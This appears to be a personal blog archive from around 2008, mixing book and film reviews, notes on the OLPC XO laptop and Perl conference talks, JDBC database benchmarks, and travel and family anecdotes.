The most merciful thing in the world, I think, is the inability of the human mind to correlate all its contents. We live on a placid island of ignorance in the midst of black seas of infinity, and it was not meant that we should voyage far. The sciences, each straining in its own direction, have hitherto harmed us little; but some day the piecing together of dissociated knowledge will open up such terrifying vistas of reality, and of our frightful position therein, that we shall either go mad from the revelation or flee from the deadly light into the peace and safety of a new dark age.
One of the best-known horror short stories, The Call
of Cthulhu is presented in documentary style, as
a series of notes found among the papers of the late
Francis Wayland Thurston, of Boston
.
Mr. Thurston himself has been pulled into the mystery
by stumbling upon notes left behind by his late grand-uncle,
who in turn had been piecing together reports
about outlandish rituals and outbreaks of mania, as they happened
around the world, while still strangely connected to each other.
For the last few months, I have been using Mozilla Prism to read my (Google) mail. Prism turns web pages into standalone applications so that I do not have to log in to my Google account with my main web browser.
Today I switched to Fluid, which is a Mac-only (Leopard-only, in fact) application that does the same thing, but is more polished than Prism. For one thing, it is more tightly integrated with the Mac: The GMail application it creates is a real standalone native application (works better in the Dock than GMail Prism, which was only a document), it uses Growl notifications and software auto-update, there is a full screen mode, and it can also create MenuExtras (so that you could get the latest slashdot articles in a pulldown next to the battery life indicator). It is based on WebKit rather than Gecko, has a lot of preference panels, and you can write extensions using Greasemonkey-compatible JavaScript or Objective-C. I also had a weird performance issue with GTalk in GMail in Prism (typing into the chat window was painfully slow), that I expect to be gone now.
Update: One problem with using Fluid is that apparently all WebKit applications share the same browser cookie storage (and there seems to be no way to turn that off). This makes it currently impossible to keep login information separate from Safari, and between Fluid applications. Fortunately, I do not use Safari, and Camino and Firefox of course have their own cookie jars. On the other hand, a lot of applications embed WebKit these days, and I am not at all comfortable with the notion that they all potentially leak state and clobber themselves.
Marcus is a high school student in San Francisco. He is smart and tech-savvy enough
to outwit his school's surveillance systems (keystroke loggers on the classroom laptops,
RFID on library books, gait recognition cameras), so that he can chat and surf during classes
and leave the school grounds unnoticed. Then terrorists blow up the Bay Bridge and
the Department of Homeland Security takes over control of the city, implementing
all kinds of security
measures. Marcus' attitude towards authority, combined
with his technical skills, do not go over well with the DHS and they give him a hard time,
which motivates him to put his energy to sabotaging the war on terror
,
trying to show the insanity and futility of that campaign, while
putting him and his friends at a much greater personal risk than he could ever have imagined.
Needless to say, this is a very political book, trying to raise awareness about how Western democracies are quickly turning into police states. It is also spiked with interesting technology pieces, all of which seem much more science than fiction, most of which are probably already in place. In fact, reading it alongside with real news articles is more than a bit scary.
I have written about my troubles with using the XO as a book reader before, and while nothing much has changed software-wise, the recent success of Amazon's Kindle and Apple's iPhone, both of which make excellent readers, has revived the eBook business and some of the new content is accessible on the XO as well.
There are basically three big sources for eBooks: Project Gutenberg, Creative Commons, and commercial publishers. Project Gutenberg is the largest collection of free eBooks, which it creates from works that are (under US copyright law) in the public domain. Because copyright law has repeatedly been changed to automatically extend copyright protection, very few works published after 1923 are in the public domain, which is a big issue for music and movies, but fortunately does not affect a large bulk of world literature. The Creative Commons are a family of copyright licenses that are less restrictive than traditional publication licenses. It particular, they allow for redistribution and derivative works. Finally, there are commercial eBook publishers, such as Amazon, but they usually require copy-protection software that allow the book to be read only on specific devices (and not the XO-1).
A nice collection of freely downloadable books is ManyBooks.net (which is apparently being run by one guy and served off his Mac mini.) ManyBooks republishes Project Gutenberg texts, together with public domain or creative commons works from other sources. All the books are available in a number of different formats, so that you can choose the one that best works on your reader.
iPhone PDF looks great on the XO-1. Now I only wished that the Reader application could remember what page I last stopped reading. That it does not do that is especially weird considering that the Journal shows a thumbnail image of that page. Thankfully the PDF starts out with a chapter index of clickable links.
If you can read this, the move to the new server worked. If anything seems to be not working properly, please let me know.
The new machine is a not a real piece of hardware, but a virtual server, the main benefits being that it is cheaper, and easier to backup or transport. It also helps save resources by avoiding unused capacities that would still consume electricity and rack space. The drawback is that it has to share CPU and memory with other virtual servers, but considering that the hardware it is replacing was five years old, there is probably still a net power gain. Only disk space is a little slim now (ten gigabytes instead of thirty-two).
Indiana Jones and the Kingdom of the Crystal Skull
After Obi-Wan Kenobi, Rocky Balbao, John McClane, John Rambo, and Ellen Ripley it is Dr. Henry Jones, Jr.'s turn to bring an iconic movie trilogy and his aged self back to the silver screen. The film is getting a lot of harsh criticism from die-hard fans, who are always quick to compare it to the widely reviled Star Wars prequels and blame George Lucas for the use of CGI, for the presence of aliens, for unrealistic action sequences, and a silly plot. But I think Indy is doing okay, and also keeping to the style of the series. The biggest difference between Kingdom and the earlier films may not be Soviets instead of Nazis, or extraterrestrial instead of religious artefacts, but the fact that, just like Indy himself, his original audience is twenty years older now.
7 points
Now, there is an uninspiring chart. Maybe I need to tweak the scales a little. Strictly speaking, though, I am at my fattest in recorded history.
William Gibson & Bruce Sterling: The Difference Engine
Gibson and Sterling collaborate to create an alternate nineteenth century, where Babbage's Analytical Engine has actually been built and the Information Revolution coincides with (and propels) the Industrial Revolution. Power in Victorian England has been seized by the Industrial Radical Party, with hereditary lords and Luddites alike being pushed to the sidelines.
The book is a mostly atmospheric piece with several vignettes (translation: it is a bit in want of a coherent story), that detail episodes in the lives of Londoners at the time: A prostitute who gets caught up in political spheres, a palaeontologist who stumbles upon a stack of Engine cards and into a violent riot, and a diplomat/spy who is plagued by visions of an all-seeing Eye.
In spite of the shift from cyberpunk to steampunk, the genre's typical
topics are all to be found:
The subculture of the tech-savvy clackers
that know how to program the steam-powered Engines (using punch-cards),
the dystopian view of the ever-watchful, data-gathering surveillance state,
the mysterious and dangerous artefact that serves to drive the story
(in this case a stack of cards created by the Queen of Engines, Ada Lovelace),
even the fascination with Japan (which here has just opened itself
to the world and is about to have its own Industrial Revolution).
JSON, which stands for JavaScript Object Notation
is a lightweight data-interchange format. Lightweight means that the standard is
very concise, there is not too much overhead (boilerplate) in the data files,
and the format is easy to read and write for both humans and machines.
It is generally used as a replacement for XML (which kind of fails on all three counts),
and has gained popularity with the advent of Web 2.0 and AJAX (even though the X in AJAX stands
for XML).
I have so far been using JSON only informally to pass data around in JavaScript applications,
but when starting to work with JSON in Java (using proper
codec libraries), I found out
that unfortunately quite a bit of the syntactic sugar for object literals
in JavaScript has been removed from JSON, ostensibly to make it even easier to
write parsers, but at the expense of convenience for human authors.
The following is valid JavaScript, but not valid JSON:
{ a : 1, /* set a to 1*/
b : 'two'
}
- no barewords allowed for keys
- string literals have to be double-quoted
- no comments allowed
If you want to write valid JSON, you have to say
{
"a" : 1,
"b" : "two"
}
This does not make the format all that much easier to hand-write than XML anymore (although there are still less keystrokes involved), and it is also confusing for JavaScript coders, who are bound to create a lot of pseudo-JSON that works just fine within the realm of JavaScript. Maybe I should take another look at YAML.
PS: I would really want to also be able to write the trailing comma like I do in Perl or Java, which is not valid in JavaScript either, even though it works on Firefox (but only there):
{ a : 1, /* set a to 1*/
b : 'two', // trailing comma makes it easier to add or re-arrange lines
}
The Chronicles of Narnia: Prince Caspian
After a year back in London, the four teenage heroes of the first Narnia movie (and book) are thrust back into their fantasy kingdom when Prince Caspian, on the run from his evil uncle, sounds a magic horn. During their absence of more than a thousand years, Narnia has been overrun by human invaders, the Talking Beasts driven into the wilderness and near extinction.
5 points
Cissy's parents arrived from Shanghai last weekend, and are going to stay with us for three months. And I still don't speak a word of Chinese ...
From X to O: Operating Systems
Due to a recent and very controversial decision, the XO will very soon be available with a choice of two operating systems: the Linux-based Sugar that was specifically developed for it, and Windows XP. This move will certainly cost the OLPC community dearly as far as the hearts and minds of the geek community are concerned, but if it helps to keep the OLPC project on track with its task to deliver low-cost laptops and quality education to children in need, it may be a good thing. One has to wonder, though, how this affects the overall concept of this venture (the previous focus on complete openness and hackability, as well as trying to break out of established business partnerships between poor countries and First World corporations come to mind), and how much different the XO is now from other ultra-portables, or second-hand regular computers.
The version of XP is apparently the same that is being offered on the Asus Eee, with Microsoft having spent some serious developer time to add support for various XO hardware features, such as the rotating screen. The innovative mesh networking, however will initially not be supported. The price of the machine will increase by ten dollars (3 dollars for Windows, 7 dollars for the extra memory that it needs).
The current operating system, which so far has failed
to make too good a job of integrating with the device, will still be available as
an option, probably also as a dual-boot solution. The Sugar developers have
meanwhile set up Sugar Labs, with the stated goal of bringing Sugar to the
next level of usability and utility
, on or off the OLPC.
Myself, I am waiting for Update One of the OLPC software to bring much-needed power management improvements and iron out some of the minor annoyances I have been writing about.
- Toru Yamaguchi: OpenID 2.0
- An introduction to OpenID, how it works, and how it can be used with Perl.
- Yuval Kogman: Moose
- An overview of Moose, the much-talked-about new approach to object-oriented programming in Perl. They stressed the point that Moose is not a toy or experimental, but very stable and being used in production. There are a few performance penalties to pay, but they are working on a compiler to reduce those.
- Yoshinori Takesako: How to defend Apache/CGI against multi-byte XSS attacks
- Poorly written or unmaintained web applications in combination with newly discovered scary browser vulnerabilities leave web site operators in a tough spot. Takesako-san introduced some Apache modules that can be installed as a workaround until the problem is being fixed. Kind of like a firewall, but instead of protecting your server from malicious access, it protects the browser from your malicious server.
- Tatsuhiko Miyagawa: 20 modules I haven't yet talked about
- Entertaining talk as Miyagawa-san goes through the back-catalogue of his extensive oeuvre. He actually cut it down to ten, because of timing constraints.
- Lunch break
- Good old university cafeteria food. Ample, tasty, and cheap. Taken open-air in the sun.
- Ingy döt Net: Perl Love for Javascript Hackers
- Ingy shows how to use Makefiles to
make
web pages, and how the much-maligned Template Toolkit can be used in JavaScript, too, using Jemplate. - Jesse Vincent: Everything but the secret sauce
- Best Practical are open-sourcing all their tools (keeping only the secret sauce they use to hook them together), and Jesse showcased a number of them, including their Perl application packaging system Shipwright.
- Faiz Kazi: From POE to Erlang
- Faiz proposes that even though Perl now (ever since 5.8) has its own support for threads (which have not been met with much in the way of adoption), the best way to do concurrency in Perl remains the venerable and under-appreciated Perl Object Environment, which is based on actors passing messages (as opposed to threads sharing memory). Erlang is a language built upon that principle, and is said to scale phenomenally for concurrent applications, which may become more important as CPU speeds have stopped increasing as dramatically as they used to (to compensate, computers have more cores now).
For the third year in a row, the Shibuya Perl Mongers brought YAPC::Asia to Tokyo, this time on campus at the Tokyo Institute of Technology, which I hereby proclaim to be the best venue yet. Today's Day One was the second day actually, as there were also some additional talks yesterday (including one by co-worker-on-sabbatical Faiz), but I was tied up at work and could not go. Equally unfortunately, there is no T-shirt this year, and I could not get WiFi to work on the XO-1.
- Larry Wall: A Standard That Is Meant To Be Broken.
- A keynote that was a bit more on the technical side (they are usually more political or philosophical), in which $Larry talked about internals of the Perl6 parser he has been working over the last year. He stressed that there are not really any built-ins, and that the parser can be extended or otherwise modified at runtime to support all kinds of languages. And there is still a lot of dwimmery going on, such as the longest token matcher, which provides a sensible default behaviour when trying to parse a complex grammar.
- Kang-min Liu: Continuous Testing.
- A presentation of Test::Continuous, which polls your source directory for changed files, so that relevant tests can be run when you update them.
- Lunch break
- Another accidental lunch with Larry Wall (and his wife, and Faiz), at Matsuya.
- Jose Castro: Perl Black Magic.
- A very entertaining introduction to obfuscation and Perl Golf.
- Ingy döt Net: JavaScript Love for Perl Hackers.
- Ingy has ported the very popular jQuery to Perl, so that you can do web scraping with this powerful DOM query language. He also introduced his latest slideshow system Vroom, and proposed to use CPAN to distribute JavaScript libraries as well.
- Leon Brocard: Working in the cloud.
- Leon explained how his company is operating without any hardware himself, having outsourced everything to Amazon, Google and the like.
- Jesse Vincent: Step 3 - Prophet.
- In what was the most exciting talk for me, Jesse talked about Best Practical's experimental peer-to-peer replicated database. This fits in very nicely both with my recent musings about the future of databases, and my recent migration from Subversion to the distributed Mercurial source version control system, which works very similarly. The biggest challenge of these peer-to-peer systems is how to resolve conflicting updates.
- Chia-liang Kao: Running A Perlish Small Business.
- CL in his spare time runs AIINK, a small printing company, and explained how he quickly cobbled together the infrastructure for it with Perl.
- Makoto Kuwata: The Fastest Template Engine in Perl World.
- Yet another templating engine, but these things get incrementally better, and this one is pure Perl, very fast, feature-rich, and has an extremely clever (if you know Japanese) name: Tenjin - Template Engine.
- Lightning Talks
- More templating engines, YAPC financials, RSS readers, Perl6 signatures in sane Perl5, Japanese CPAN authors, from POE to Erlang (prologue), an OS written in Perl, web services, and crazy HTML hacks
Me wearing other people's glasses
Part thirteen: Cissy's new sunglasses.
Part Seven: Delicate like a panda,
the Golden Bear can only truly shine with European voltage.
Earthquakes are quite frequent in Japan, but now we had three tremor days in a row, which is a little unnerving.
And did I mention that Earth's rotational speed has increased recently, for unknown reasons nonetheless?
Hunting for deer in the Texas desert, Llewellyn Moss (Josh Brolin) stumbles upon the bloody aftermath of a drug deal gone wrong, including a suitcase full of money, which he decides to keep for himself. Unfortunately, the Mexican bosses find out about him and send deranged killer Anton Chigurh (Javier Bardem) after him (strangest name since Keyser Soze, you say? Well, he is equally creepy, too). Ageing third-generation sheriff Ed Tom Bell (Tommy Lee Jones) can do little to stop the rampage that follows and starts seriously thinking about retirement.
This is the Coen Brothers back in Blood Simple mode. All the violence of Fargo, without any of the comedy pieces. And for some reason they refuse to give us a satisfying ending. The typical Hollywood movie would have seen Brolin and Jones overcoming Bardem in a big shootout at a motel (wrecking the place in the process). A darker version would have Bardem win. In either case, the whole movie (which is after all kind of a western) was building up towards that epic showdown. Well, does not happen. Or rather, does happen, but we don't get to see any of it. Is this the Coens telling us that violence does not pay, not even for movie-goers?
8 points
I was reading up about time zones on Wikipedia, when I came upon this chart
showing the difference between UTC and the real
time (mean solar time)
over the last few years, and how leap seconds are introduced to keep
UTC from diverging too far.
Apparently, there hase been a leap second about once a year until 1999, when the divergence rate slowed down and did not require adjustment until 2005. So I thought that they maybe tweaked the formula a little, but as it turns out for unknown reasons, Earth has sped up after year 2000, so the mean solar day has become 1 ms shorter and fewer leap seconds have been since then.
Should I be worried?
7 points
Circle K sunkus wishes to offer you a unique and cozy store to put a smile on everyone's face. That wish has born a new concept Cherie Dolce. Its comfortable and warm atmosphere will smooth you and ease your mind anytime. We wish to begin a new style of c-store with this new concept Cherie Dolce. It would be a little bit comfortable c-store for you.
Andy Oram & Greg Wilson (Ed.): Beautiful Code
An O'Reilly book without the popular animal cover design that collects essays
where leading programmers explain how they think
and present examples of elegant
solutions to hard problems.
| Author | Subject | Programming Language |
|---|---|---|
| Brian Kernighan | A regular expression matcher | C |
| Karl Fogel | An internal data structure of Subversion | C |
| Jon Bentley | Quicksort | C |
| Tim Bray | Web server log file analysis | Ruby |
| Elliotte Rusty Harold | XML verification | Java |
| Michael Feathers | The FIT Framework for Integrated Test | Java |
| Alberto Savoia | JUnit | Java |
| Charles Petzold | On-the-fly code generation | C, C#, CLR Intermediate Language |
| Douglas Crockford | Top-down-operator-precedence parsers | JavaScript |
| Henry S. Warren, Jr. | Counting the number of set bits in a word | C and circuit diagrams |
| Ashish Gulhati | Secure web-based email | Perl |
| Lincoln Stein | Data visualisation for bioinformatics | Perl |
| Jim Kent | A genome analyser web application | C |
| Jack Dongarra and Piotr Luszczek | Libraries to solve linear equations | MATLAB, Fortran |
| Adam Kolawa | The CERN mathematical library | Fortran |
| Greg Kroah-Hartman | Linux kernel drivers | C |
| Diomidis Spinellis | Layers of indirection in the FreeBSD filesystem drivers | C |
| Andrew Kuchling | Python's dictionary data structure | C, Python |
| Travis E. Oliphant | Multidimensional array iterators | C, Python |
| Ronald Mak | A highly reliable information portal for the NASA Mars Rover Mission | Java |
| Rogerio Atem de Carvalho and Rafael Monnerat | Enterprise Resource Planning | Python |
| Bryan Cantrill | Thread synchronisation and prioritisation in Solaris | C |
| Jeffrey Dean and Sanjay Ghemawat | Map-Reduce | C++ |
| Simon Peyton Jones | Software Transactional Memory | Haskell |
| R. Kent Dybvig | Macro expansions | Scheme |
| William R. Otte and Douglas C. Schmidt | A networked logging service | C++ |
| Andrew Patzer | REST (as opposed to SOAP) for integrating business partners | Java |
| Andreas Zeller | Systematic debugging | Python |
| Yukihiro Matsumoto | Brevity and human-readability | Ruby |
| Arun Mehta | A one-button user interface for Professor Hawking | Visual Basic |
| T.V. Raman | Emacspeak (auditory output from Emacs) | Emacs Lisp |
| Laura Wingerd and Christopher Seiwald | The Seven Pillars of Pretty Code | C |
| Brian Hayes | Computational Geometry | Lisp |
Are relational databases on the way out ?
For decades, the default choice when it comes to storing application data have been relational databases. Recently however, we see a lot of alternative approaches gaining widespread exposure (not sure about acceptance yet), especially as part of Web 2.0 platforms. Think Amazon's SimpleDB, Google's BigTables, or Apache CouchDB.
Cluster architecture: RDBMS have traditionally always been client-server oriented, meaning that you can have multiple clients access the same database concurrently over a network. This alone is an enormous improvement over file-based storage, and it is also useful for three-tier web application, as it allows to scale out the number of application servers. In order not to have the single database server as a bottleneck and single point of failure, you eventually will want to spread its functionality over a cluster of machines. This is a more advanced option that most RDBMS have added in one form or another, but it seems these new web databases were designed specifically to run on distributed nodes.
Schema-free: RDBMS rely on data schema definitions
(tables with typed columns) and have great difficulties to
handle unstructured documents. In particular, a relational
system offers no way to query data other than by column value,
and makes it very difficult to query data across tables.
Again, most RDBMS now have non-relational extensions like XML query
capabilities or full text search.
In contrast, the newcomers appear to be very document-centric
,
where every document can have its own set of attributes.
One could argue that a data schema is part of the data integrity validation
that a database system should perform. On the other hand,
most people seem happy with doing that in the application instead,
and in any case, it seems like it should be an optional feature.
One could also argue that a fixed schema makes for more efficient
storage and access paths. In this case, the schema is seen
more as a necessary evil, and one would be happy to give up on it
if any performance problems can be avoided some other way.
Impedance mismatch: A big complication when using an RDBMS for storing application data is that everything has to be broken down and mapped to tables and columns using only the rather primitive (scalar) data types of the RDBMS. This gets complex very quickly, both conceptually and also in regards to how the resulting data will be stored, retrieved and queried. Multi-table joins are not easy to understand, and also not especially fast to execute.
Transactions: Probably the main selling point for an RDBMS is that they pass the famous ACID test: Atomicity (all or nothing: no incomplete updates), Consistency (the state of the database does not get corrupted at any time, even in the presence of crashes), Isolation (no one can see the results of a transaction before it is committed), Durability (no committed update can be lost). These properties are essential for many applications, but they come at a cost. In particular, they make it difficult to efficiently replicate or distribute the system. The newer non-relational databases tend to relax these constraints considerably, which makes them unusable when you really need a transactional database. But if you don't ...
Performance: One would assume that RDBMS with all their compacted and normalised storage schemes and their indices are the fastest way to go. And I guess that they do offer the fastest possible way to sort fifty million records, but how often do you really need to do that? Especially if sorting these fifty million records in the fastest possible fashion is still too slow for an interactive application, you start looking at alternative approaches such as an intelligent hierarchy of pre-computed aggregated data. In the RDBMS world this is called data warehousing. Once you get used to the idea that ad-hoc queries are impossible anyway, and that anticipated queries can be satisfied using clever indexing (that may not even need to be completely up-to-date), the performance benefits of operations that you can avoid become less important.
So, in summary, I think that these new databases are obviously not able to replace an RDBMS in its traditional field of operation (record processing where consistent read and writes, transaction isolation, and atomic updates are critical), but they may very well take a sizable chunk of the huge market where RDBMS are currently being used solely because there have been no other choices. There may be no need for an RDBMS in the usual web application stack after all.
Confusing gmail ad of the month. Usually, those targeted ads are actually really close to the contents of the mail thread that they are displayed for. But I really cannot see how big bad hemorrhoids (I am not giving you a link here, and I am certainly not going to click on it myself, being in the middle of dinner and all) are related to the following conversation...
------------- sakura pictures :-) attached: IMGA0110.JPG IMGA0112.JPG ------------- Thanks Thilo, And here is the video of the S. Carolina beauty contestant: http://youtube.com/watch?v=WALIARHHLII
Just like the New Tokyo International Airport, and Tokyo Disney Land (and Sea), the Country Farm Tokyo German Village is not really in Tokyo, but in the neighbouring prefecture of Chiba, where things are less crammed and there is more space for roomy ventures like, well, an international airport or a theme park. The German Village is mostly a big park (in the traditional sense, with meadows and flowers, and ponds) which is intended to bring a healthy breath of country-side lifestyle to stressed big city families. It is only mildly interested in trying to recreate Germany (or Bavaria): You do get beer tent background music, imported sausages, beer, Maus and Diddl goods, and Haribo, but there are also completely generic attractions like golf courses, a petting zoo, a pizza restaurant, a video game arcade, a Ferris wheel, and decidedly un-German foodstuff, such as dried jellyfish and other local (as in Chiba) snacks.
Philip Pullman: His Dark Materials
I quite enjoyed the Golden Compass movie and immediately ordered this boxed set of Lyra's adventures (the Golden Compass, the Subtle Knife, and the Amber Spyglass) from Amazon. It is being marketed as a Young Adult book, probably as a result of the main characters all being teenagers, but it certainly tackles more serious topics than, say, Harry Potter, and there are also a number of rather shocking plot developments.
When the Catholic League called for a boycott of the Golden Compass movie, they said it was less about the picture, but more about keeping children away from the books. And indeed, Pullman is quite aggressive in his attack on the concept of organised religion, to the point where one has to wonder if he is actively trying to offend.
Hardcore fans of the novels also disparaged the movie for watering down the controversial content to make it more commercially viable. I do not think that this actually happened, and the religious themes are not all that prominent until the later volumes anyway, but the movie does deviate from the source material in other ways, most notably in that it cuts off the ending (an anti-Happy-Ending if there ever was one) and reverses the order of the two main events before that. Apparently Pullman approved of these changes, though.
Three rich and estranged American brothers (and their eleven suitcases, the printer, and the laminating machine) on a train voyage across India to find their mother (turned nun in the Himalayan foothills) and renew the family bond.
Wes Anderson's latest oeuvre is, well, a Wes Anderson film. The focus is clearly on quirky character flaws, oddball dialogue, surreal situations, meticulous attention to detail, the retro soundtrack, and the colour schemes, and Anderson fans will be able to enjoy that. You even get a short Bill Murray cameo to round off the cast of usual suspects (Owen Wilson, Jason Schwartzmann, Anjelica Huston). But if you were looking for plot lines, character development, or a message, you might end up disappointed. Or offended that the India depicted is a collection of stereotypes and spoiled Western boys' dreams and serves as no more than exotic backdrop. Or annoyed that for all of the pretentiousness (especially with the opening short film), there is not much substance to it.
7 points
Japan has a new mobile phone service provider: Disney Mobile launched at the beginning of this month. They are a virtual network operator using Softbank's infrastructure (and also collaborate with Softbank in other ways, such as marketing, there are posters all over the place now). There used to be a Disney Mobile in America, but they failed and folded last year. In Japan they target women in their twenties and thirties rather than families with children in the US. This could actually work, Disney's various franchises are very popular in that demographic and they can also draw on an existing base of three million subscribers to their mobile content offerings (ring tones and such).
There have also been rumors that if the iPhone gets introduced in Japan, it would be on Disney Mobile. Unless this is going to be a non-exclusive deal, I do not think that this is a good match, seeing how Disney only targets a very specific market, and how both of these strong brands would probably not like to share the limelight with the other one. On the other, Steve Jobs is the biggest individual shareholder in Disney...
In any case, au sent me (completely unsolicited and for free) another three months' worth of pre-paid calling cards, so I am good until November now.
Now that I managed to log in to my OTN account, here are the results
of Saturday's test suite for Oracle XE on Windows XP:
| |||||||||||||||||||||||||||||||||||||||||||||||||
|
- With Oracle, using prepared statements makes a lot of difference, going from interpolated variables to bind variables more than doubles the throughput, and reusing the same statement adds another ten percent. This is good news in more than one way, because that first part (low-hanging fruits for a programmer) brings such a big gain that you can argue against the need for the extra few percent fro the second improvement, which is trickier to implement in a general fashion (although you could turn on statement-caching in the driver, I need to try to measure that some time).
- Using the batch-update interface when applicable gives a spectacular boost, in this case it is about 15 times faster. Further testing is needed to how this plays out with different batch sizes, specifically if there are upper and lower limits for when it makes sense to use the feature.
- As for how much time it takes for getting a connection from the pool, it depends if you turn on the validation feature of the pool, which checks if the connection is still alive before giving it out. With validation turned off, there is basically no overhead, with validation it adds a few milliseconds every time you get a connection, in my case (I only tested this with Oracle, the times are not included in the charts) one to two ms.
After these measurements for a thousand updates, I also took timings for a different scenario:
- SELECT non-existing row
- INSERT the row
- SELECT again
- UPDATE the row
- SELECT again
- DELETE the row
- SELECT the now missing row again
This pattern was run in two variations (as shown above and without the selects) in two different implementations (using bind variables or not using them). Each of these four routines was run interleaved (ABCDABCD...) for a total of 101 times, with the first iteration results discarded, and the times it took for each iteration becomes the benchmark result. The connection was in auto-commit mode the whole time.
|
Again, we see prepared statements making a big difference on Oracle, not so much (even a slight slow-down?) on the open source databases, and that MySQL suffers because of the slow commits (of course, it should still be fast enough, that part is unlikely to become the bottleneck).
Potential follow-ups to this would be to properly profile the connection pool's validation feature, to include Hibernate into the mix and measure its overhead, to record the strain on the server, and to use multiple threads to see how bind variables affect scalability. But I promise that if I do that, I will not bore you with the results here on my blog (one thing that I do want to put here, though, are the results of running these two benchmarks on the same machines in Perl instead of Java).
Me wearing other people's glasses
Part twelve: Protective goggles in the hardware store.
What is the overhead of getting a fresh
connection from
the connection pool instead of passing the connection around?
How much faster are repeated SQL statements when using a fixed
query string with bind variables as opposed to directly interpolating
the data into the query string? How much faster when re-using
the same prepared statement? How much faster when using a batched update?
I ran a little benchmark.
- A) 1000x [getConnection createStatement executeUpdate commit]
- B) 1000x [getConnection prepareStatement executeUpdate commit]
- C) getConnection prepareStatement 1000x [executeUpdate commit]
- D) getConnection prepareStatement 1000x [executeUpdate] commit
- E) getConnection prepareStatement 1000x [addBatch] executeBatch commit
I wanted to test Oracle XE on Ubuntu, but did not get either installed
(the eMachine did not like the Ubuntu CD, and Oracle's web-site was unresponsive),
so I went with Postgresql 8.3 and MySQL5(InnoDB) instead. The databases were
running on Windows XP, both fresh installs using the default settings,
accessed from the Java test program on a Mac mini via local ethernet network.
|
- Commits against MySQL are amazingly slow. I assume that this is a problem with my setup, or with Windows. This also probably only affects the transactional InnoDB backend.
- With MySQL, there is no speed difference between methods A, B, and C, and hence no visible performance advantage to prepared statements. Maybe the JDBC driver does not implement the feature. With Postgresql it seems to improve throughput, but not by much. The Oracle figures should be interesting here.
- Committing only once instead of separately after every update makes a big difference, especially with MySQL (see above). Of course, performance considerations should not be a factor in deciding what a transaction is.
- Bulk updates give another big boost to Postgresql, not so much to MySQL.
The XO-1 was supposed to be the $100 Laptop, but unfortunately went over budget and in its current version costs $188. The OLPC project hopes that an increased output combined with price drops in its off-the-shelf components will bring production costs down enough to reach $100 by the end of this year. Considering that OLPC mainly targets the world's poorest countries, and that for example Intel sells more conventional computers (together with Windows licenses, training, and support) starting for less than $300 in these markets, the price tag could easily become the decisive factor for OLPC's success, regardless of the educational and social concepts that they also have to offer.
Whether the adaptation of Philip Pullman's fantasy novels will become the trilogy it is clearly intended to be will depend on the financial success of this first part. Box office results in North America have been disappointing, probably because the Catholic League called for a boycott, but overseas performance has been solid. It seems to be up to Japan now.
7 points (ahead of Narnia, slightly ahead of Potter).
We have a video camera (Panasonic HDC-SD5) shooting in Full HD resolution, which is more of a down payment towards a future home entertainment system than anything we can really use right now (nothing in the house can play back at a 1920x1080 resolution). So for now I am just left with these huge files that take up lots of disk space to store and ages of CPU cycles to process.
The camera records in AVCHD, which is a highly compressed format that still takes about 1GB per 10 minutes. Things get worse when importing them into iMovie, because iMovie insists to decompress the files, resulting in 1GB per minute, and the decompression is painfully CPU-intensive, running at about real-time. I want to store the movies exclusively in their native AVCHD until I feel like actually editing them, but there seems to be no viewer application for that format (which is weird, as iMovie's import wizard can preview them). At least I can copy them off the camera onto the hard disk to free up the memory card.
From X To O: Questions and Answers
Well, I have no topic for Q, so here is my pick of five Frequently Asked Questions from the OLPC site:
- Who is behind these XO laptop computers?
- The XO laptop computer is being developed by One Laptop per Child, a non-profit organization founded by MIT professor Nicholas Negroponte and a team of educators, developers and technologists dedicated to educating children in developing countries with the goal of eradicating poverty. One Laptop Per Child is based on principles expressed by MIT Media Lab Professor Seymour Papert in the 1960s, and later elaborated upon by Alan Kay, and complemented by the principles articulated by Nicholas Negroponte in his book, Being Digital. Partner corporations including Advanced Micro Devices (AMD), Brightstar, eBay, Google, Marvell, News Corporation, Nortel, Quanta, Chi Mei Group, Red Hat, and SES Astra are involved in this initiative.
- Why do children in developing nations need laptop computers?
- Nicholas Negroponte (OLPC's Chairman and founder) thinks of the XO laptop not as just a piece of equipment, but as an educational opportunity. Laptop computers can be a window and a tool—a window into the world and a tool with which to think. Computers are a wonderful way for all children to learn through independent interaction and exploration.
- How is it possible to get the cost of the laptop so low?
- First, by dramatically lowering the cost of the display. The first-generation computer will have a novel, dual-mode display that represents improvements to the LCD displays commonly found in inexpensive DVD players. Second, we have also worked to get the fat out of our software systems. In other words, our laptop computers operate more efficiently. The XO’s operating system is based on a free and open source version of GNU/Linux. Third, One Laptop per Child is a non-profit organization that is not obligated to any investors. Finally, One Laptop per Child uses large scale orders to minimize marketing and distribution costs and to bulk order components to drive prices down.
- Does my laptop come with a hand crank? Solar panels?
- The Get One XO does not ship with any human powered device or solar panel, which are designed to support the XO laptops shipped to developing countries. Future peripheral availability is discussed on the Product News page. In addition to plugging the laptop into an electrical outlet (110-240 volts AC), the XO laptop can take a DC input ranging from 11 volts to 40 volts, a range that’s far more flexible than most portable devices. The XO laptop is remarkably energy efficient, generally using only 5-10 percent of the average wattage of a standard laptop.
- How long does the battery last?
- Battery life is approximately 3 to 6 hours, depending on which Activities are used. The sleep feature is not enabled in software provided on XOs shipped starting December 2007. A software upgrade early in 2008 will support suspend/resume sleep features, for much improved battery life.
We have just returned from a three-day sightseeing bus tour through Japan's western-most island of Kyushu.
- The flight to Fukuoka in completely clear skies offered the most spectacular view yet of Mount Fuji.
- Much to Cissy's dismay, all public toilets were Japanese squatting-style.
- Scores of Korean tourists.
- A hotel that spanned two prefectures: The lobby was in Oita, our room in Kumamoto.
- Onsen, onsen, onsen.
- The governor of Miyazaki used to be a popular comedian and many local products bear his likeness. The one-man publicity campaign has boosted sales and helped the poultry industry weather the impacts of multiple bird flu outbreaks.
- Many outgoing and connecting flights were cancelled (not ours, fortunately) because of adverse weather (wind and snow) throughout the country.
Neil Gaiman: A Study in Emerald
HarperCollins has released another free MP3 recording of Neil Gaiman reading one of his stories, which he does very, very well. A letter-form story set in Cthulhu-Victorian London (and narrated in wonderful Victorian English), A Study in Emerald follows the protagonist, who shares lodging in Baker Street with the city's foremost consulting detective, as he assists his friend in the case of a murdered German noble.
42.195 km, 05:48:32 (gross time). Ran for 20, walked for 20, limped along for the rest.
| Point | Split | Lap | Time |
|---|---|---|---|
| 5km | 00:50:20 | 10:00:20 | |
| 10km | 01:23:03 | 0:32:43 | 10:33:03 |
| 15km | 02:00:39 | 0:37:36 | 11:10:39 |
| 20km | 02:33:37 | 0:32:58 | 11:43:37 |
| 25km | 03:10:54 | 0:37:17 | 12:20:54 |
| 30km | 03:52:46 | 0:41:52 | 13:02:46 |
| 35km | 04:38:34 | 0:45:48 | 13:48:34 |
